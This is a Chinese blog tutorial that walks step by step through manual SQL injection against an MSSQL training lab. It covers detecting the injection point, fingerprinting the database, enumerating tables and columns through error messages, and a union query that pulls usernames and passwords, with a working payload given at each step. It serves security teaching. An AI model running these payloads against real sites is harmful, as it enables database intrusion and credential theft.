MSSQL手工注入

1.点击install to start初始化

2.点击Go to inject开始靶场

3.在第⼀关使⽤单双引号判断是否存在注⼊,根据报错的回显可知数据类型为字符型

?id=1’          //报错,存在注入

?id=1' --+     //正常显示   

所以是字符型注入 闭合方式是' --+

 

 4.可通过以下Payload来探测当前站点是否是MSSQL数据库,正常执行说明后台数据库MSSQL;也可根据页面报错信息来判断数据库

这里要使用exists()函数来确定是否为mssql数据库

所需语句:

?id=1' and exists(select *from sysobjects) --+ //回显正常

 

5. 查询数据库信息

使用语句:

?id=-1' union select 1,user,3 --+

通过联合查询得到该数据库的user是dbo最高权限,同时也得到了回显点

6.通过语句来猜解有哪些表...从⽽获取⽬标站点的表信息...

利用cast()强制转换得到报错进行表名查询

?id=-1'and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1--+

通过网站的报错得到第一个表名为users

7.查到第一个表后,进行之后表的查询

?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users')--+

通过 name !='users'这种排除条件,排除查到的第一个表,这样就得到了第二张表名email

以此类推,通过更改参数,就可以得到之后的所有表名

第三张:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails')--+

第四张:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents')--+

第五张:?id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents' and name !='referer
s')          //第五张返回为空,则代表一共有四张表。

8.通过以下语句爆出表下的所有字段信息

使用语句:

?id=-1'having 1=1--+

得到的user.id就是user的第一个字段

通过group by 进行之后的字段名查询

?id=-1'group by id having 1=1--+

得到的users.username就是users的第二个字段

依次在group by后买你加上查询到的字段,就可以查到之后的字段

9.查询字段值

首先判断列数

?id=1' order by 3--+   //显示正常

?id=1' order by 4--+   //此时报错

所以一共有三列

其次,查询字段值

语法就是

select+字段名+from+表名

查询语句:

-1' union all select 1,(select top 1 username from users),(select top 1 password from users)--+

得到用户名和密码。

更改参数就可以得到其他的用户名和密码。

  • 6
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值